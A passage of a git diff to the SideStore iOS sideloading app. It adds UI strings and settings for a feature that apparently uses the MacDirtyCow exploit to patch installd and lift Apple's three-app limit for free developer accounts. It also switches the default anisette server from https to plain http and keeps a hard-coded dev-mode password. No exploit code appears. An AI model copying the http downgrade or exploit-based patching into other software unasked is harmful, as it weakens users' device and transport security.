fallback: "Files") + /// Temporary File Explorer + internal static let tmpExplorer = L10n.tr("Localizable", "DevModeView.Files.tmpExplorer", fallback: "Temporary File Explorer") + } + internal enum General { + /// Console + internal static let console = L10n.tr("Localizable", "DevModeView.General.console", fallback: "Console") + /// Disable Developer Mode + internal static let disableDevMode = L10n.tr("Localizable", "DevModeView.General.disableDevMode", fallback: "Disable Developer Mode") + /// General + internal static let header = L10n.tr("Localizable", "DevModeView.General.header", fallback: "General") + /// Reset Image Cache + internal static let resetImageCache = L10n.tr("Localizable", "DevModeView.General.resetImageCache", fallback: "Reset Image Cache") + /// Unstable Features are only available on nightly builds, PR builds and debug builds. + internal static let unstableFeaturesNightlyOnly = L10n.tr("Localizable", "DevModeView.General.unstableFeaturesNightlyOnly", fallback: "Unstable Features are only available on nightly builds, PR builds and debug builds.") + } + internal enum Mdc { + /// Tell SideStore installd has not been patched (may cause undefined behavior or boot loop if you apply the patch more than once on a real device!!) + internal static let fakeUndo3AppLimitPatch = L10n.tr("Localizable", "DevModeView.Mdc.fakeUndo3AppLimitPatch", fallback: "Tell SideStore installd has not been patched (may cause undefined behavior or boot loop if you apply the patch more than once on a real device!!)") + /// MDC + internal static let header = L10n.tr("Localizable", "DevModeView.Mdc.header", fallback: "MDC") + } internal enum Minimuxer { /// AFC File Explorer (check footer for notes) internal static let afcExplorer = L10n.tr("Localizable", "DevModeView.Minimuxer.afcExplorer", fallback: "AFC File Explorer (check footer for notes)") @@ -301,6 +315,16 @@ internal enum L10n { /// - Very buggy /// - There are multiple unimplemented actions internal static let footer = L10n.tr("Localizable", "DevModeView.Minimuxer.footer", fallback: "Notes on AFC File Explorer:\n- If nothing shows up, check minimuxer logs for error\n- It is currently extremely very unoptimized and may be very slow; a new AFC client is created for every action\n- It is currently limited to a maximum depth of 3 to ensure it doesn't take too long to iterate over everything when you open it\n- Very buggy\n- There are multiple unimplemented actions") + /// minimuxer debug actions + internal static let header = L10n.tr("Localizable", "DevModeView.Minimuxer.header", fallback: "minimuxer debug actions") + } + internal enum Signing { + /// Skip Resign should only be used when you have an IPA that you have self signed. Otherwise, it will break things, and might make SideStore crash (there is absolutely no error handling and everything is expected to work). + internal static let footer = L10n.tr("Localizable", "DevModeView.Signing.footer", fallback: "Skip Resign should only be used when you have an IPA that you have self signed. Otherwise, it will break things, and might make SideStore crash (there is absolutely no error handling and everything is expected to work).") + /// Signing + internal static let header = L10n.tr("Localizable", "DevModeView.Signing.header", fallback: "Signing") + /// Skip Resign + internal static let skipResign = L10n.tr("Localizable", "DevModeView.Signing.skipResign", fallback: "Skip Resign") } } internal enum ErrorLogView { @@ -351,6 +375,38 @@ internal enum L10n { /// RefreshAttemptsView internal static let title = L10n.tr("Localizable", "RefreshAttemptsView.title", fallback: "Refresh Attempts") } + internal enum Remove3AppLimitView { + /// It seems that installd has already been patched to remove the 3 app limit. Please know that the patch will be undone upon boot, so if the patch isn't working, try restarting your device and then apply the patch again using SideStore. + internal static let alreadyPatched = L10n.tr("Localizable", "Remove3AppLimitView.alreadyPatched", fallback: "It seems that installd has already been patched to remove the 3 app limit. Please know that the patch will be undone upon boot, so if the patch isn't working, try restarting your device and then apply the patch again using SideStore.") + /// Apply Patch + internal static let applyPatch = L10n.tr("Localizable", "Remove3AppLimitView.applyPatch", fallback: "Apply Patch") + /// Sorry, the MacDirtyCow exploit is only supported on iOS/iPadOS versions 15.0-15.7.1 or 16.0-16.1.2. + internal static let notSupported = L10n.tr("Localizable", "Remove3AppLimitView.notSupported", fallback: "Sorry, the MacDirtyCow exploit is only supported on iOS/iPadOS versions 15.0-15.7.1 or 16.0-16.1.2.") + /// To remove the 3 app limit that free developer accounts have, SideStore will use the MacDirtyCow exploit to patch installd. The patch will be undone upon boot, so if you want to undo it, simply restart your device. + internal static let patchInfo = L10n.tr("Localizable", "Remove3AppLimitView.patchInfo", fallback: "To remove the 3 app limit that free developer accounts have, SideStore will use the MacDirtyCow exploit to patch installd. The patch will be undone upon boot, so if you want to undo it, simply restart your device.") + /// Successfully applied the patch! + internal static let success = L10n.tr("Localizable", "Remove3AppLimitView.success", fallback: "Successfully applied the patch!") + /// The patch will allow for 10 apps per Apple ID. If you need more than 10 apps, you can sideload SideStore again with a different Apple ID than the one you are using with this SideStore to allow for 10 more apps. + internal static let tenAppsInfo = L10n.tr("Localizable", "Remove3AppLimitView.tenAppsInfo", fallback: "The patch will allow for 10 apps per Apple ID. If you need more than 10 apps, you can sideload SideStore again with a different Apple ID than the one you are using with this SideStore to allow for 10 more apps.") + /// Remove3AppLimitView + internal static let title = L10n.tr("Localizable", "Remove3AppLimitView.title", fallback: "Remove 3 App Limit") + internal enum Errors { + /// Failed to patch installd + internal static let failedPatchd = L10n.tr("Localizable", "Remove3AppLimitView.Errors.failedPatchd", fallback: "Failed to patch installd") + /// Failed to get full disk access: %s + internal static func noFDA(_ p1: UnsafePointer) -> String { + return L10n.tr("Localizable", "Remove3AppLimitView.Errors.noFDA", p1, fallback: "Failed to get full disk access: %s") + } + } + internal enum NotAppliedAlert { + /// Apply patch + internal static let apply = L10n.tr("Localizable", "Remove3AppLimitView.NotAppliedAlert.apply", fallback: "Apply patch") + /// Continue without patch + internal static let continueWithout = L10n.tr("Localizable", "Remove3AppLimitView.NotAppliedAlert.continueWithout", fallback: "Continue without patch") + /// It seems that you have not applied the patch that removes the 3 app limit. Would you like to apply the patch? + internal static let message = L10n.tr("Localizable", "Remove3AppLimitView.NotAppliedAlert.message", fallback: "It seems that you have not applied the patch that removes the 3 app limit. Would you like to apply the patch?") + } + } internal enum RootView { /// Browse internal static let browse = L10n.tr("Localizable", "RootView.browse", fallback: "Browse") @@ -374,14 +430,16 @@ internal enum L10n { internal static let debug = L10n.tr("Localizable", "SettingsView.debug", fallback: "Debug") /// Export Logs internal static let exportLogs = L10n.tr("Localizable", "SettingsView.exportLogs", fallback: "Export Logs") + /// You seem to be on iOS/iPadOS version 15.0-15.7.1 or 16.0-16.1.2 which means you can remove the 3 app limit that free developer accounts have by using the MacDirtyCow exploit. + /// + /// This is normally not included in SideStore since it triggers antivirus warnings, so you must download an IPA that includes MacDirtyCow separately from sidestore.io or install SideStore using the separate MacDirtyCow source. + internal static let mdcPopup = L10n.tr("Localizable", "SettingsView.mdcPopup", fallback: "You seem to be on iOS/iPadOS version 15.0-15.7.1 or 16.0-16.1.2 which means you can remove the 3 app limit that free developer accounts have by using the MacDirtyCow exploit.\n\nThis is normally not included in SideStore since it triggers antivirus warnings, so you must download an IPA that includes MacDirtyCow separately from sidestore.io or install SideStore using the separate MacDirtyCow source.") /// Refreshing Apps internal static let refreshingApps = L10n.tr("Localizable", "SettingsView.refreshingApps", fallback: "Refreshing Apps") /// Enable Background Refresh to automatically refresh apps in the background when connected to WiFi and with Wireguard active. internal static let refreshingAppsFooter = L10n.tr("Localizable", "SettingsView.refreshingAppsFooter", fallback: "Enable Background Refresh to automatically refresh apps in the background when connected to WiFi and with Wireguard active.") /// Reset adi.pb internal static let resetAdiPb = L10n.tr("Localizable", "SettingsView.resetAdiPb", fallback: "Reset adi.pb") - /// Reset Image Cache - internal static let resetImageCache = L10n.tr("Localizable", "SettingsView.resetImageCache", fallback: "Reset Image Cache") /// Reset Pairing File internal static let resetPairingFile = L10n.tr("Localizable", "SettingsView.resetPairingFile", fallback: "Reset Pairing File") /// Show Error Log diff --git a/AltStore/SwiftUI/Helper/SideloadingManager.swift b/AltStore/SwiftUI/Helper/SideloadingManager.swift index 09dfcfb45..4c0972a15 100644 --- a/AltStore/SwiftUI/Helper/SideloadingManager.swift +++ b/AltStore/SwiftUI/Helper/SideloadingManager.swift @@ -216,7 +216,7 @@ class SideloadingManager { if UserDefaults.standard.activeAppLimitIncludesExtensions { - firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "") + firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions.", comment: "") } else { @@ -248,7 +248,6 @@ class SideloadingManager { } }) - let rootViewController = UIApplication.shared.keyWindow?.rootViewController - rootViewController?.present(alertController, animated: true, completion: nil) + UIApplication.topController?.present(alertController, animated: true, completion: nil) } } diff --git a/AltStore/SwiftUI/View Components/AppPillButton.swift b/AltStore/SwiftUI/View Components/AppPillButton.swift index b8ede8327..34133af2f 100644 --- a/AltStore/SwiftUI/View Components/AppPillButton.swift +++ b/AltStore/SwiftUI/View Components/AppPillButton.swift @@ -85,8 +85,7 @@ struct AppPillButton: View { return } - let _ = AppManager.shared.install(storeApp, presentingViewController: UIApplication.shared.keyWindow?.rootViewController) { result in - + let _ = AppManager.shared.install(storeApp, presentingViewController: UIApplication.topController) { result in switch result { case let .success(installedApp): print("Installed app: \(installedApp.bundleIdentifier)") diff --git a/AltStore/SwiftUI/View Components/AsyncFallibleButton.swift b/AltStore/SwiftUI/View Components/AsyncFallibleButton.swift index 24a914022..b6cd6af80 100644 --- a/AltStore/SwiftUI/View Components/AsyncFallibleButton.swift +++ b/AltStore/SwiftUI/View Components/AsyncFallibleButton.swift @@ -88,7 +88,7 @@ struct AsyncFallibleButton: View { } catch { DispatchQueue.main.async { state = .error - errorAlertMessage = (error as? LocalizedError)?.failureReason ?? error.localizedDescription + errorAlertMessage = error.message() showErrorAlert = true } } diff --git a/AltStore/SwiftUI/View Extensions/Styles/FilledButtonStyle.swift b/AltStore/SwiftUI/View Extensions/Styles/FilledButtonStyle.swift index 55879cba7..ec4e5e4f5 100644 --- a/AltStore/SwiftUI/View Extensions/Styles/FilledButtonStyle.swift +++ b/AltStore/SwiftUI/View Extensions/Styles/FilledButtonStyle.swift @@ -10,15 +10,25 @@ import SwiftUI struct FilledButtonStyle: ButtonStyle { var isLoading: Bool = false + var hideLabelOnLoading: Bool = true + var tintColor: Color = .accentColor func makeBody(configuration: Configuration) -> some View { - ZStack { - configuration.label - .opacity(isLoading ? 0 : 1) + HStack { + if !isLoading || !hideLabelOnLoading { + configuration.label + } if isLoading { - ProgressView() - .progressViewStyle(CircularProgressViewStyle()) + // We want to add padding to the left if we don't hide the label + if hideLabelOnLoading { + ProgressView() + .progressViewStyle(CircularProgressViewStyle()) + } else { + ProgressView() + .progressViewStyle(CircularProgressViewStyle()) + .padding([.leading], 2) + } } } .foregroundColor(.white) @@ -27,10 +37,11 @@ struct FilledButtonStyle: ButtonStyle { .padding() .background( RoundedRectangle(cornerRadius: 12) - .foregroundColor(.accentColor) + .foregroundColor(tintColor) ) .opacity(configuration.isPressed || isLoading ? 0.7 : 1) .disabled(isLoading) + .enableInjection() } } diff --git a/AltStore/SwiftUI/Views/Onboarding/OnboardingStepView.swift b/AltStore/SwiftUI/Views/Onboarding/OnboardingStepView.swift index 095fa46c5..6a8c6c42a 100644 --- a/AltStore/SwiftUI/Views/Onboarding/OnboardingStepView.swift +++ b/AltStore/SwiftUI/Views/Onboarding/OnboardingStepView.swift @@ -10,7 +10,6 @@ import SwiftUI struct OnboardingStepView: View { - @ViewBuilder var title: Title diff --git a/AltStore/SwiftUI/Views/Onboarding/OnboardingView.swift b/AltStore/SwiftUI/Views/Onboarding/OnboardingView.swift index 5fb6870f8..810c60642 100644 --- a/AltStore/SwiftUI/Views/Onboarding/OnboardingView.swift +++ b/AltStore/SwiftUI/Views/Onboarding/OnboardingView.swift @@ -108,7 +108,7 @@ struct OnboardingView: View { Text("SideStore supports on-device sideloading even on non-jailbroken devices.") Text("For it to work, you have to generate a pairing file as described [here in our documentation](https://wiki.sidestore.io/guides/install#pairing-process).") Text("Once you have the `.mobiledevicepairing`, import it using the button below.") - } + }.lineLimit(nil) }, action: { ModalNavigationLink("Select Pairing File") { DocumentPicker(selectedUrl: self.$pairingFileURL, @@ -117,6 +117,7 @@ struct OnboardingView: View { .buttonStyle(FilledButtonStyle()) .onChange(of: self.pairingFileURL) { newValue in guard let url = newValue else { + // TODO: show error that nothing was selected return } @@ -315,7 +316,7 @@ extension OnboardingView { try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")) NotificationManager.shared.reportError(error: error) debugPrint("minimuxer failed to start, please restart SideStore.", error) -// displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")") +// displayError("minimuxer failed to start, please restart SideStore. \(error.message())") } start_auto_mounter(documentsDirectory) } diff --git a/AltStore/SwiftUI/Views/Settings/AdvancedSettingsView.swift b/AltStore/SwiftUI/Views/Settings/AdvancedSettingsView.swift index 40709951d..4beca5df5 100644 --- a/AltStore/SwiftUI/Views/Settings/AdvancedSettingsView.swift +++ b/AltStore/SwiftUI/Views/Settings/AdvancedSettingsView.swift @@ -19,7 +19,7 @@ struct AdvancedSettingsView: View { @ObservedObject private var iO = Inject.observer private let anisetteServers = [ - Server(display: "SideStore", value: "https://ani.sidestore.io"), + Server(display: "SideStore", value: "http://ani.sidestore.io:6969"), Server(display: "Macley (US)", value: "http://us1.sternserv.tech"), Server(display: "Macley (DE)", value: "http://de1.sternserv.tech"), Server(display: "DrPudding", value: "https://sign.rheaa.xyz"), diff --git a/AltStore/SwiftUI/Views/Settings/DevModeView.swift b/AltStore/SwiftUI/Views/Settings/DevModeView.swift index 90099d32a..88fa63587 100644 --- a/AltStore/SwiftUI/Views/Settings/DevModeView.swift +++ b/AltStore/SwiftUI/Views/Settings/DevModeView.swift @@ -9,6 +9,7 @@ import SwiftUI import LocalConsole import minimuxer +import AltStoreCore // Yes, we know the password is right here. It's not supposed to be a secret, just something to hopefully prevent people breaking SideStore with dev mode and then complaining to us. let DEV_MODE_PASSWORD = "devmode" @@ -35,7 +36,7 @@ struct DevModePrompt: View { Text(countdown <= 0 ? L10n.Action.enable + " " + L10n.DevModeView.title : L10n.DevModeView.read + " (\(countdown))") .foregroundColor(.red) } - .buttonStyle(FilledButtonStyle()) // TODO: set tintColor so text is more readable + .buttonStyle(FilledButtonStyle(tintColor: Color.gray.opacity(0.5))) .disabled(countdown > 0) } @@ -128,6 +129,11 @@ struct DevModeMenu: View { @AppStorage("isConsoleEnabled") var isConsoleEnabled: Bool = false + @AppStorage("isDevModeEnabled") + var isDevModeEnabled: Bool = false + + @State var selectedOnboardingStep: String = "None" + #if !UNSTABLE @State var isUnstableAlertShowing = false #endif @@ -135,7 +141,7 @@ struct DevModeMenu: View { var body: some View { List { Section { - Toggle(L10n.DevModeView.console, isOn: self.$isConsoleEnabled) + Toggle(L10n.DevModeView.General.console, isOn: self.$isConsoleEnabled) .onChange(of: self.isConsoleEnabled) { value in LCManager.shared.isVisible = value } @@ -148,25 +154,33 @@ struct DevModeMenu: View { #if !UNSTABLE .disabled(true) .alert(isPresented: $isUnstableAlertShowing) { - Alert(title: Text(L10n.DevModeView.unstableFeaturesNightlyOnly)) + Alert(title: Text(L10n.DevModeView.General.unstableFeaturesNightlyOnly)) } .onTapGesture { isUnstableAlertShowing = true } #endif - NavigationLink(L10n.DevModeView.dataExplorer) { + SwiftUI.Button(L10n.DevModeView.General.resetImageCache, action: self.resetImageCache) + .foregroundColor(.red) + + SwiftUI.Button(action: { + isDevModeEnabled = false + }, label: { Text(L10n.DevModeView.General.disableDevMode) }).foregroundColor(.red) + } header: { + Text(L10n.DevModeView.General.header) + } + + Section { + NavigationLink(L10n.DevModeView.Files.dataExplorer) { FileExplorer.normal(url: FileManager.default.altstoreSharedDirectory) - .navigationTitle(L10n.DevModeView.dataExplorer) + .navigationTitle(L10n.DevModeView.Files.dataExplorer) }.foregroundColor(.red) - NavigationLink(L10n.DevModeView.tmpExplorer) { + NavigationLink(L10n.DevModeView.Files.tmpExplorer) { FileExplorer.normal(url: FileManager.default.temporaryDirectory) - .navigationTitle(L10n.DevModeView.tmpExplorer) + .navigationTitle(L10n.DevModeView.Files.tmpExplorer) }.foregroundColor(.red) - - Toggle(L10n.DevModeView.skipResign, isOn: ResignAppOperation.skipResignBinding) - .foregroundColor(.red) - } footer: { - Text(L10n.DevModeView.footer) + } header: { + Text(L10n.DevModeView.Files.header) } Section { @@ -184,14 +198,76 @@ struct DevModeMenu: View { .navigationTitle(L10n.DevModeView.Minimuxer.afcExplorer) }.foregroundColor(.red) } header: { - Text(L10n.DevModeView.minimuxer) + Text(L10n.DevModeView.Minimuxer.header) } footer: { Text(L10n.DevModeView.Minimuxer.footer) } + + Section { + Toggle(L10n.DevModeView.Signing.skipResign, isOn: ResignAppOperation.skipResignBinding) + .foregroundColor(.red) + } header: { + Text(L10n.DevModeView.Signing.header) + } footer: { + Text(L10n.DevModeView.Signing.footer) + } + + Section { + Picker("Show onboarding step", selection: $selectedOnboardingStep) { + Text("None").tag("None") + ForEach(OnboardingStep.allCases, id: \.self) { server in + Text(String(describing: server)).tag(String(describing: server)) + } + }.onChange(of: selectedOnboardingStep) { selectedOnboardingStep in + guard let selectedOnboardingStep = OnboardingStep.allCases.first(where: { String(describing: $0) == selectedOnboardingStep }) else { return } + let onboardingView = OnboardingView(onDismiss: { UIApplication.topController?.dismiss(animated: true) }, enabledSteps: [selectedOnboardingStep]) + .environment(\.managedObjectContext, DatabaseManager.shared.viewContext) + let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView)) + navigationController.isNavigationBarHidden = true + navigationController.isModalInPresentation = true + UIApplication.topController?.present(navigationController, animated: true) + } + + SwiftUI.Button(action: { + UserDefaults.shared.onboardingComplete = false + UIApplication.alert(title: L10n.Action.success) + }, label: { Text("Tell SideStore onboarding has not been completed") }) + } header: { + Text("Onboarding") + } + + #if MDC + Section { + SwiftUI.Button(action: { + UserDefaults.shared.lastInstalldPatchBootTime = nil + UIApplication.alert(title: L10n.Action.success) + }, label: { Text(L10n.DevModeView.Mdc.fakeUndo3AppLimitPatch) }).foregroundColor(.red) + + SwiftUI.Button(action: { + UserDefaults.shared.lastInstalldPatchBootTime = bootTime() + UIApplication.alert(title: L10n.Action.success, message: "The free app limit will be reset to 3 upon reboot") + }, label: { Text("Force 10 app limit and tell SideStore installd patch has been applied (will cause staging errors if you haven't applied the patch elsewhere)") }).foregroundColor(.red) + } header: { + Text(L10n.DevModeView.Mdc.header) + } + #endif } .navigationTitle(L10n.DevModeView.title) .enableInjection() } + + func resetImageCache() { + do { + let url = try FileManager.default.url( + for: .cachesDirectory, + in: .userDomainMask, + appropriateFor: nil, + create: true) + try FileManager.default.removeItem(at: url.appendingPathComponent("com.zeu.cache", isDirectory: true)) + } catch let error { + fatalError("\(error)") + } + } } struct DevModeView_Previews: PreviewProvider { diff --git a/AltStore/SwiftUI/Views/Settings/SettingsView.swift b/AltStore/SwiftUI/Views/Settings/SettingsView.swift index 530ab99e0..d7ab9dae5 100644 --- a/AltStore/SwiftUI/Views/Settings/SettingsView.swift +++ b/AltStore/SwiftUI/Views/Settings/SettingsView.swift @@ -36,6 +36,7 @@ struct SettingsView: View { @State var isShowingDevModePrompt = false @State var isShowingDevModeMenu = false @State var isShowingResetAdiPbConfirmation = false + @State var isShowingMDCPopup = false @State var externalURLToShow: URL? @State var quickLookURL: URL? @@ -99,6 +100,21 @@ struct SettingsView: View { NavigationLink(L10n.AppIconsView.title) { AppIconsView() } + + #if MDC + NavigationLink(L10n.Remove3AppLimitView.title) { + Remove3AppLimitView() + } + #else + if MDC.isSupported { + NavigationLink(L10n.Remove3AppLimitView.title) {} + .disabled(true) + .alert(isPresented: self.$isShowingMDCPopup) { + Alert(title: Text(L10n.Remove3AppLimitView.title), message: Text(L10n.SettingsView.mdcPopup)) + } + .onTapGesture { self.isShowingMDCPopup = true } + } + #endif } Section { @@ -131,7 +147,7 @@ struct SettingsView: View { Spacer() Text("SideStore Team") Image(systemSymbol: .chevronRight) - .foregroundColor(.secondary) + .foregroundColor(.secondary.opacity(0.5)) } } .foregroundColor(.primary) @@ -145,7 +161,7 @@ struct SettingsView: View { Spacer() Text("fabianthdev") Image(systemSymbol: .chevronRight) - .foregroundColor(.secondary) + .foregroundColor(.secondary.opacity(0.5)) } } .foregroundColor(.primary) @@ -183,9 +199,6 @@ struct SettingsView: View { } } - SwiftUI.Button(L10n.SettingsView.resetImageCache, action: self.resetImageCache) - .foregroundColor(.red) - SwiftUI.Button(L10n.SettingsView.resetPairingFile) { self.isShowingResetPairingFileConfirmation = true } @@ -225,7 +238,6 @@ struct SettingsView: View { Text(L10n.SettingsView.debug) } - Section {} footer: { Text("SideStore \(appVersion)") .multilineTextAlignment(.center) @@ -257,7 +269,7 @@ struct SettingsView: View { // } func connectAppleID() { - guard let rootViewController = UIApplication.shared.keyWindow?.rootViewController else { + guard let rootViewController = UIApplication.topController else { return } @@ -288,19 +300,6 @@ struct SettingsView: View { } } } - - func resetImageCache() { - do { - let url = try FileManager.default.url( - for: .cachesDirectory, - in: .userDomainMask, - appropriateFor: nil, - create: true) - try FileManager.default.removeItem(at: url.appendingPathComponent("com.zeu.cache", isDirectory: true)) - } catch let error { - fatalError("\(error)") - } - } func resetPairingFile() { let filename = "ALTPairingFile.mobiledevicepairing" diff --git a/AltStore/UIKit/My Apps/MyAppsViewController.swift b/AltStore/UIKit/My Apps/MyAppsViewController.swift index 9f968e167..c22eac458 100644 --- a/AltStore/UIKit/My Apps/MyAppsViewController.swift +++ b/AltStore/UIKit/My Apps/MyAppsViewController.swift @@ -934,11 +934,11 @@ private extension MyAppsViewController if UserDefaults.standard.activeAppLimitIncludesExtensions { - message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "") + message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "") } else { - message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "") + message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "") } let alertController = UIAlertController(title: NSLocalizedString("What are inactive apps?", comment: ""), message: message, preferredStyle: .alert) @@ -964,7 +964,7 @@ private extension MyAppsViewController if UserDefaults.standard.activeAppLimitIncludesExtensions { - firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions.", comment: "") + firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions.", comment: "") } else { diff --git a/AltStore/UIKit/Settings/Settings.storyboard b/AltStore/UIKit/Settings/Settings.storyboard index 42ec9e331..7d243e15e 100644 --- a/AltStore/UIKit/Settings/Settings.storyboard +++ b/AltStore/UIKit/Settings/Settings.storyboard @@ -21,7 +21,7 @@